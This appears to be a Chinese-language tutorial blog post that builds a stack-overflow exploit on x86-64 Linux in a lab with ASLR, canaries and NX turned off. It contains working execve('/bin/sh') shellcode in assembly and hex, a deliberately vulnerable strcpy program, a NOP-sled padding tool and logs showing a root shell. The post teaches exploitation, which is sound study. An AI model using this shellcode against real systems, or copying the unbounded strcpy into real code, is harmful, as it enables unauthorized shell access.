栈溢出攻击和shellcode
README
本文默认读者熟悉C语言编程和x86汇编语法,熟悉函数调用过程和调用规约,简单了解linux系统,包括内核内存管理机制,进程内存布局和系统调用,对栈溢出攻击有基本认知。
文章会做一个栈溢出攻击的DEMO,来展示一个典型的shellcode是如何打造,如何工作的。
文章将抛开宏观层面的解释,尽量细致地阐述shellcode的构建过程和异常问题分析等诸多细节,帮助读者把栈溢出攻击和shellcode理解的更清晰。
其实,栈溢出攻击早已经被丢进了历史的垃圾桶。
人们针对栈溢出攻击有3个防范手段:
1.金丝雀(canary)
2.地址随机化(ASLR)
3.栈不可执行(NX)
为了实现这个DEMO,需要关闭这3个防范手段。
开始正题之前,先简单温习几个概念:调用规约,栈帧和栈溢出攻击。
先看一下x86-64调用规约
再看一下栈帧的样子:
现代CPU通过栈实现函数调用,每个函数都对应有一个栈帧。
rbp寄存器总是指向栈底,rsp寄存器总是指向栈顶
x86-64的栈是满减栈,入栈时,栈指针rsp总是向下(向低地址方向)移动,且总是指向一个有效元素。
rsp和rbp之间存放着当前函数的局部变量,rbp向上(向高地址方向)分别存放着调用者函数的rbp(通常叫做old-rbp),返回地址(return-addr)以及调用者传递给子函数的参数。
x86的函数调用由call指令实现,call指令做2件事:
1.当前rip寄存器的值压入堆栈,这个值通常叫做返回地址
2.向rip寄存器写入子函数的入口地址,该地址依赖于call指令的操作数。
跳转到子函数后,子函数会创建自己的栈帧,做2件事:(不考虑FPO)
- push %rbp
- mov %rsp, %rbp
这2条指令通常叫做函数序言。
接下来会为局部变量分配栈空间,执行子函数体。
子函数返回前,会做反向动作:
5.释放局部变量空间
6.通过leave指令恢复调用者函数栈帧。(leave指令执行函数序言的反操作)
7.最后通过ret指令返回到调用者函数,ret指令做1件事:把当前栈顶元素写入rip寄存器
ret指令是栈溢出攻击的核心原理,因为该指令把栈上的数据写入rip,倘若能修改这个数据,让rip指向我们的攻击代码,便实现了攻击。
开始正题:
I. 构造shellcode
狭义地讲,shellcode就是一段可以运行起一个shell的代码。
广义地讲,shellcode就是一段被精心构造的攻击代码,用来达成攻击者的目的。
下面就开始手写一段shellcode第1版 (啥?难不成还有第2版?确实有)
.section .text
.global _start
_start:
jmp str
entry_point:
pop %rcx
xor %edx, %edx
xor %rsi, %rsi
mov %rcx, %rdi
add $59, %rax
syscall
str:
call entry_point
.ascii "/bin/sh"
简单解释一下这段代码:
第1行声明从这里开始一个段,名字叫.text
第2行声明_start是全局符号
第3行声明符号_start
第4行跳转到符号str处执行
第5行声明局部符号entry_point
第6行取出栈顶元素写入rcx寄存器
第7行空行
第8行rdx寄存器清0 (x86-64调用规约,第3个参数通过rdx传递)
第9行rsi寄存器清0 (第2个参数通过rsi传递)
第10行rcx寄存器的值写入rdi寄存器 (第1个参数通过rdi传递)
第11行向rax寄存器写入十进制数字59 (系统调用号通过rax传递)
第12行发起系统调用请求,陷入内核
第13行空行
第14行声明局部符号str
第15行跳转到符号entry_point处执行
第16行声明一段使用ASCII字符的文本字符串
前2行的.text和_start这2个符号不能乱写,ld内部集成的链接脚本默认引用这些符号,随意修改会导致链接出问题。
第7和第13行这2个空行是我故意留下来的分隔符,用来进一步解释这段shellcode:
2个空行中间的代码,是用来给59号系统调用execve传参并发起系统调用请求的,这是shellcode的核心代码。
execve的定义:
int execve(const char *filename, char *const argv[], char *const envp[]);
空行上面和空行下面的2段代码,是shellcode的基本框架,其作用是实现动态获取字符串/bin/sh的地址。
如何做到的?回顾前面温习过的关于call指令的知识,因为字符串/bin/sh被放在了call指令的后面,执行call指令时,该字符串的地址会被压栈,跳到entry_point后,通过pop指令,即可取到字符串/bin/sh的地址,免去了地址硬编码带来的麻烦。
代码保存成shellcode.asm, 汇编并链接该程序
as -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o
验证shellcode能否正常工作,运行一下shellcode进程,果然打开了一个shell,运行几条命令,输出正常。
aaa@qq.com:/root/shellcode# ./shellcode
# pwd
/root/shellcode
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
aaa@qq.com:/root/shellcode#
接下来需要把shellcode进程的代码段dump出来,使用objdump工具查看代码段信息
aaa@qq.com:/root/shellcode# objdump -h shellcode
shellcode: file format elf64-x86-64
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000001d 0000000000400078 0000000000400078 00000078 2**0
CONTENTS, ALLOC, LOAD, READONLY, CODE
得到信息:偏移0x78 = 120 字节,长度为 0x1d = 29字节。
用dd命令导出这段数据,随便起个名字叫shitcode:
aaa@qq.com:/root/shellcode# dd if=shellcode of=shitcode bs=1 count=29 skip=120
29+0 records in
29+0 records out
29 bytes copied, 0.00028993 s, 100 kB/s
再使用hexdump命令查看一下shitcode
aaa@qq.com:/root/shellcode# hexdump -Cv shitcode
00000000 eb 0f 59 31 d2 48 31 f6 48 89 cf 48 83 c0 3b 0f |..Y1.H1.H..H..;.|
00000010 05 e8 ec ff ff ff 2f 62 69 6e 2f 73 68 |....../bin/sh|
0000001d
这29字节数据,就是shellcode的核心,运行这段代码,他就会请求kernel为我们启动一个shell
注意看hexdump的输出:这段shellcode中是不包含0字符的,这个条件是必须要满足的,因为几乎所有的输入函数,都是以0字符作为结束标志。shellcode中包含0字符会导致输入函数提前返回,注入失败。
如果你写的shellcode编译后发现有0字符,需要想办法替换成不含0字符的同义指令。
比如 mov $0, %rax 可以改写成 xor %rax, %rax
II. 寻找溢出点,计算返回地址
victim.c
#include <stdio.h>
#include <string.h>
#define BUFSIZE 64
int main(int argc, char *argv[])
{
char buf[BUFSIZE];
printf("Buf: %p\n", &buf);
strcpy(buf, argv[1]);
return 0;
}
这段代码使用了strcpy函数,把外界传入的参数写入栈上的缓冲区。
strcpy函数的行为很简单:一个字符一个字符地读取源字符串,写入到目的缓冲区,直到有一天在源字符串中读到一个0字符,才停止。
这里就是一个典型的溢出点:
只需让strcpy函数读入shellcode覆盖掉返回地址,让函数返回到shellcode入口,即可实现攻击。
栈溢出攻击的核心问题就是:如何知道保存在函数栈帧中的返回地址(return-addr)在内存中的位置?
若想知道返回地址的位置,就相当于要知道局部数组buf的地址。
buf的地址是固定的吗?很久以前是,现在不是了,这就是前面提到的保护措施2:地址随机化。
这个保护措施是linux内核默认开启的,每次应用程序在装载的过程中,内核都会把堆,栈,映射区等起始地址随机化。
关闭地址随机化需要root执行这条命令:
echo 0 > /proc/sys/kernel/randomize_va_space
关闭地址随机化后,每次运行程序victim,buf的地址是不变的。
接下来还需要关闭保护措施1,3。
在编译时指定2个额外的参数:
gcc -o victim victim.c -fno-stack-protector -z execstack
其中
-fno-stack-protector 关闭1,金丝雀(金丝雀是编译器放在栈底的一个随机数,编译器会插入代码,再函数返回时判断随机数是否被篡改,一旦检测到被篡改就会终止进程)
-z execstack 关闭2,栈不可执行(shellcode是写入到栈上的,必须让栈有可执行权限,否则会引发CPU异常,同样会终止程序)
这样的可执行程序,才能给我们机会做栈溢出攻击。
下一步,计算返回地址
通过buf的地址,再结合反汇编,即可推测出return-addr的位置
看一下程序的main函数反汇编:
0000000000400566 <main>:
400566: 55 push %rbp
400567: 48 89 e5 mov %rsp,%rbp
40056a: 48 83 ec 50 sub $0x50,%rsp
40056e: 89 7d bc mov %edi,-0x44(%rbp)
400571: 48 89 75 b0 mov %rsi,-0x50(%rbp)
400575: 48 8d 45 c0 lea -0x40(%rbp),%rax
400579: 48 89 c6 mov %rax,%rsi
40057c: bf 34 06 40 00 mov $0x400634,%edi
400581: b8 00 00 00 00 mov $0x0,%eax
400586: e8 b5 fe ff ff callq 400440 <aaa@qq.com>
40058b: 48 8b 45 b0 mov -0x50(%rbp),%rax
40058f: 48 83 c0 08 add $0x8,%rax
400593: 48 8b 10 mov (%rax),%rdx
400596: 48 8d 45 c0 lea -0x40(%rbp),%rax
40059a: 48 89 d6 mov %rdx,%rsi
40059d: 48 89 c7 mov %rax,%rdi
4005a0: e8 8b fe ff ff callq 400430 <aaa@qq.com>
4005a5: b8 00 00 00 00 mov $0x0,%eax
4005aa: c9 leaveq
4005ab: c3 retq
4005ac: 0f 1f 40 00 nopl 0x0(%rax)
buf的地址从哪里开始呢,是从rsp指向的位置开始吗?不一定,不同版本的编译器可能生成不同的代码
注意:源代码中申请了64字节的栈空间,但编译器分配了0x50=80字节(指令地址 40056a)。
先看指令地址 40059d: 根据调用规约,strcpy函数的第一个参数由rdi传递,rdi的值来自rax
再看指令地址 400596: rax的值是rbp-0x40, 即buf的地址并不是从rsp开始,而是从rsp向上16字节开始。
这是一个重要的细节,他将直接影响后面对return-addr位置的计算。
看图更清晰:
图中很容易看出,return-addr的位置在buf+64+8处,只需要把buf+72后面的8个字节填写成shellcode的入口地址就OK了。
return-addr里面具体要填写多少呢?因为没有了地址随机化,每次buf的地址是固定的,给buf传递80个字节,看看他的地址是多少。
aaa@qq.com:/root/shellcode# ./victim 11111111111111111111111111111111111111111111111111111111111111111111111111111111
Buf: 0x7fffffffe410
Segmentation fault (core dumped)
OK,至此,拿到了buf的运行时的地址:0x7fffffffe410,这个地址就是要硬编码到shellcode中的返回地址。
这里有个小细节可能会令你很诧异:传递参数的长度不同,buf的地址居然不同,怎么回事,说好了没有地址随机化的?!
其实地址随机化确实已经关闭了,但因为我们是通过main函数的argv传参,参数本身也会占用栈空间,导致main函数局部变量的地址变化,参数长度越长,buf的地址会越小。
翻到前面看一下栈帧的图片,命令行参数和环境变量,是位于main函数栈帧上面的。
总结一下,我们需要构造这样一段数据:总共80个字节,前72个是shellcode,最后8个字节填写返回地址(return-addr)0x7fffffffe410.
但是,仍然有一个小问题,0x7fffffffe410这个返回地址包含0字符,会使输入函数strcpy提前返回,shellcode无法完全注入。
所以这里要把返回地址填写成大于0x7fffffffe410的数字,比如填写成0x7fffffffe411。虽然偏了1个字节,可恰好shellcode不足72个字节(只有29字节),可以在shellcode前面填充上nop指令,只要返回地址落到nop指令上,依然可以一步一步走进shellcode的入口。
III. 构建完备的shellcode
根据前面的分析,现在我们需要构建一个完备的shellcode了,他最终的样子是这样的:
如何构建这样一段数据呢?我特地写了一个小工具:
int main(int argc, char *argv[])
{
void *p;
char buf[100];
switch(argv[1][0]){
case '1':
// padding nop
memset(buf, '\x90', 100);
/**
* how many 'nop' you want to pad
* */
buf[43] = 0;
printf("%s", buf);
break;
case '2':
//padding return-addr
/**
* Note that return-addr MUST NOT contains 0 char.
* */
p = (void *)0x7fffffffe411;
memset(buf, 0, 16);
memcpy(buf, &p, 8);
printf("%s", buf);
break;
}
return 0;
}
函数实现2个功能:
- 填充43个nop (nop指令的机器码是0x90)
- 填充返回地址0x7fffffffe417
编译这个程序,并构建完备的shellcode:
aaa@qq.com:/root/shellcode# gcc -o pad padding.c
aaa@qq.com:/root/shellcode# ./pad 1 > shellcode
aaa@qq.com:/root/shellcode# cat shitcode >> shellcode
aaa@qq.com:/root/shellcode# ./pad 2 >> shellcode
aaa@qq.com:/root/shellcode# hexdump -Cv shellcode
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 eb 0f 59 31 d2 |.............Y1.|
00000030 48 31 f6 48 89 cf 48 83 c0 3b 0f 05 e8 ec ff ff |H1.H..H..;......|
00000040 ff 2f 62 69 6e 2f 73 68 11 e4 ff ff ff 7f |./bin/sh......|
0000004e
aaa@qq.com:/root/shellcode#
返回地址0x7fffffffe411是用%s写入的,高位的0字符没有写入文件,为确保万无一失,在后面再补2个0字符:
aaa@qq.com:/root/shellcode# dd if=/dev/zero of=zero bs=1 count=2
2+0 records in
2+0 records out
2 bytes copied, 0.000310199 s, 6.4 kB/s
aaa@qq.com:/root/shellcode# cat zero >> shellcode
aaa@qq.com:/root/shellcode# hexdump -Cv shellcode
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 eb 0f 59 31 d2 |.............Y1.|
00000030 48 31 f6 48 89 cf 48 83 c0 3b 0f 05 e8 ec ff ff |H1.H..H..;......|
00000040 ff 2f 62 69 6e 2f 73 68 11 e4 ff ff ff 7f 00 00 |./bin/sh........|
00000050
aaa@qq.com:/root/shellcode#
OK,整整齐齐80个字节,内容和前面预想的一模一样,完备的shellcode诞生了。赶快试用一下吧!
aaa@qq.com:/root/shellcode# ./victim `cat shellcode`
运行起来,并没有启动一个shell,而是停在那里不返回,同时系统会变得非常非常卡顿。
很明显,翻车了。shellcode不但没有工作,还引发了一场灾难。
IV. 分析意外,构造完备的shellcode第2版
这次意外源于另一个细节:
传递给execve系统调用的第一个参数,是可执行程序/bin/sh的路径,这个路径一定要以0字符结尾,否则系统调用会因路径错误而执行失败。
再看shellcode第1版源代码:
.section .text
.global _start
_start:
jmp str
entry_point:
pop %rcx
xor %edx, %edx
xor %rsi, %rsi
mov %rcx, %rdi
add $59, %rax
syscall
str:
call entry_point
.ascii "/bin/sh"
一旦execve执行失败,syscall指令从内核返回,会继续执行call entry_point跳到上面,沿着pop %rcx指令重新执行系统调用execve。
如此反复地,疯狂地,风驰电掣地穿越用户态和内核态,导致CPU飙升,系统卡顿。
如何解决呢?很简单,在shellcode中添加几行代码,执行syscall指令之前,先给/bin/sh字符串结束位置写0。
shellcode第2版代码如下:
.section .text
.global _start
_start:
jmp str
entry_point:
pop %rcx
mov %rcx, %rbx
add $7, %rbx
xor %rax, %rax
mov %rax, (%rbx)
xor %edx, %edx
xor %rsi, %rsi
mov %rcx, %rdi
add $59, %rax
syscall
str:
call entry_point
.ascii "/bin/sh"
添加了4行代码,通过rbx计算出字符串/bin/sh的结束地址,然后rax清0,把rax的值写入到rbx指向的字符串结束地址上。
aaa@qq.com:/root/shellcode# as -o shellcode.o shellcode2.asm
aaa@qq.com:/root/shellcode# ld -o shellcode2 shellcode.o
aaa@qq.com:/root/shellcode# objdump -h shellcode2
shellcode2: file format elf64-x86-64
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 0000002a 0000000000400078 0000000000400078 00000078 2**0
CONTENTS, ALLOC, LOAD, READONLY, CODE
aaa@qq.com:/root/shellcode# dd if=shellcode2 of=shitcode2 bs=1 count=42 skip=120
42+0 records in
42+0 records out
42 bytes copied, 0.000172601 s, 243 kB/s
aaa@qq.com:/root/shellcode#
汇编,链接,查询,提取,一气呵成。
躺在硬盘上的shitcode2文件,就是第2版shellcode的核心代码,大小是42个字节,比之前的29个字节稍大了点。还好,并没有超过72字节,依然可用。
看一眼他的样子吧:
aaa@qq.com:/root/shellcode# hexdump -Cv shitcode2
00000000 eb 1c 59 48 89 cb 48 83 c3 07 48 31 c0 48 89 03 |..YH..H...H1.H..|
00000010 31 d2 48 31 f6 48 89 cf 48 83 c0 3b 0f 05 e8 df |1.H1.H..H..;....|
00000020 ff ff ff 2f 62 69 6e 2f 73 68 |.../bin/sh|
0000002a
aaa@qq.com:/root/shellcode#
很完美的shellcode,不包含字符0,依然可以被strcpy全部读入。
如果此时你手贱运行了一下刚刚生成的shellcode2可执行程序,会发现他并没有像第1版一样启动一个shell,而是会报出段错误:
熟悉linux内存管理的同学应该很清楚为什么:
没错,后来添加的指令 mov %rax, (%rbx) 在尝试写代码段,然而代码段是不可写的,该指令触发MMU异常,内核会发送SIGSEGV信号杀死进程。
别怕,要知道这段代码最终会被读入栈空间的,在栈上事情就不一样了,栈是可写的,shellcode会悄悄地地修改字符串/bin/sh结束地址,保证execve系统调用执行成功
废话少叙,开始构建完备的shellcode第2版:
返回地址不需要计算,依然是0x7fffffffe411
nop指令填充数需要重新计算:72-42=30,这次只需要填充30个nop。
修改一下之前的padding小工具,设置成写入30个nop。
开始构建:
aaa@qq.com:/root/shellcode# gcc -o pad padding.c
aaa@qq.com:/root/shellcode# ./pad 1 > shellcode2
aaa@qq.com:/root/shellcode# cat shitcode2 >> shellcode2
aaa@qq.com:/root/shellcode# ./pad 2 >> shellcode2
aaa@qq.com:/root/shellcode# cat zero >> shellcode2
试用一下
aaa@qq.com:/root/shellcode# ./victim `cat shellcode2`
Buf: 0x7fffffffe410
# pwd
/root/shellcode
#
成功!
大总结
我写完了,谢谢观看
上一篇: POI读写大数据Excel